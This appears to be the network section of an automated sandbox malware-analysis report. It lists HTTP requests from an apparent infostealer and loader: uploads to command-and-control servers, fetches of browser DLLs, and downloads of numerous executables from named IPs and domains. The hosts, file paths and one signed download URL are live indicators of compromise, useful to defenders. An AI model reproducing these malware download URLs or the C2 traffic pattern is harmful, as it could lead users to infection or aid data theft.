Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFCUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 122469Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 499Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAKJKEHDBGHIDHIEHDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 7945Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: HEAD /prog/66e705d09b33c_jack.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /Files/1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66edb89bc4073_crypted.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /kurwa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /thebig/noode.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Files/1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66ebb3bf78bd6_Send.exe#111us300 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66ee79315857f_setup33333.exe#lyla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66ed9885d9aee_Day2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /thebig/noode.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /kurwa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66eea6336b153_app16540406983468141987.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66e705d09b33c_jack.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66edb89bc4073_crypted.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66ebb3bf78bd6_Send.exe#111us300 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66ee79315857f_setup33333.exe#lyla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66ed9885d9aee_Day2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66eea6336b153_app16540406983468141987.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 561Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary82269225User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 412Host: tventyvf20pt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary38423990User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 67973Host: tventyvf20pt.top
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----Boundary32946194User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Content-Length: 30036Host: tventyvf20pt.top
Source: global traffic	HTTP traffic detected: GET /prog/66ecb454d2b4a_lgfdsjgds.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 103.130.147.211
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.109
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0050CA00 InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_0050CA00

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /kcatelin/jameson/downloads/easyfirewall.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: bitbucket.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vsfdhgg15.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sdhsfd.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bbfbfb0f-4597-4ff3-b025-124f61baf271/downloads/7f30c6a5-e68f-46b2-82dc-be29f7fa498f/easyfirewall.exe?response-content-disposition=attachment%3B%20filename%3D%22easyfirewall.exe%22&AWSAccessKeyId=ASIA6KOSE3BNGNWBPVIG&Signature=RG7gLpLQM9DgrtzKECr%2F5hgaEBw%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEFQaCXVzLWVhc3QtMSJHMEUCIQDFdamkZ04A05ya5JjE%2BO96KfXxuSlOnxf1KU2WbhcgUAIgZVAiwI6sPTiv1NV5OPTMgcBSTcThYLQvzmHVuZLepfEqsAIIjf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw5ODQ1MjUxMDExNDYiDEWlad7oE1ErA4%2BxniqEAkPBXDxCFRBvIDaMXH7btuCQePvBHv56Z32PJd%2BrgVAazFvcT%2BdKnWonvbgD%2Bl83gjxQvJNinimAUee0zl9An1zjHrdCynGOjIYCd10WgZZ37gvIdBvOekdVSJQN4VvROptCwbViUPgEar%2FvniBV%2B9dqfZdJIelwOng6Fln8TYeg%2Fl7wUG0nZY4e%2FMaCUav1Yku%2FrJGpCSh4n1nCWTKS7G8gb01L5gOI8TnzTwcjXoM61eavAdUsF%2FtJR2uJ0%2BlBHAgp11FQKPWY6BApQnVnlTsKXD%2Fzo4xyODNargGwFCcO8KVN97GtOSH0yfnXUN2LEsVwXZ144uxzDcaZqLaCMuxhFmrDMODaurcGOp0BK2eIjmGLV4b2uwA8kI4vRD9zrjU%2BmUC3l1cVxad27xvHP82pnJ2i1cZxwMDbzFINMt0y8GSW3msaumnuqBQuixm4zhYMg6rT6MFqZP28%2B%2FJuSlZgb%2BkDseti8cbPYao%2FN7WkgFVWx54F%2F7M1c4sTBsc%2F5%2BvRyyOUVbpkc1t71ns4lfqSh3BTkvYEoJGMd0wh2U5uz5SUmMFeE%2FwfYQ%3D%3D&Expires=1726919784 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vfsdgdf.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /lgsfdam.exe HTTP/1.1Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 116.203.165.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: GET /Files/1.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 103.130.147.211Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /thebig/noode.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /kurwa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.111.174.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66e705d09b33c_jack.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66edb89bc4073_crypted.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66ebb3bf78bd6_Send.exe#111us300 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66ee79315857f_setup33333.exe#lyla HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
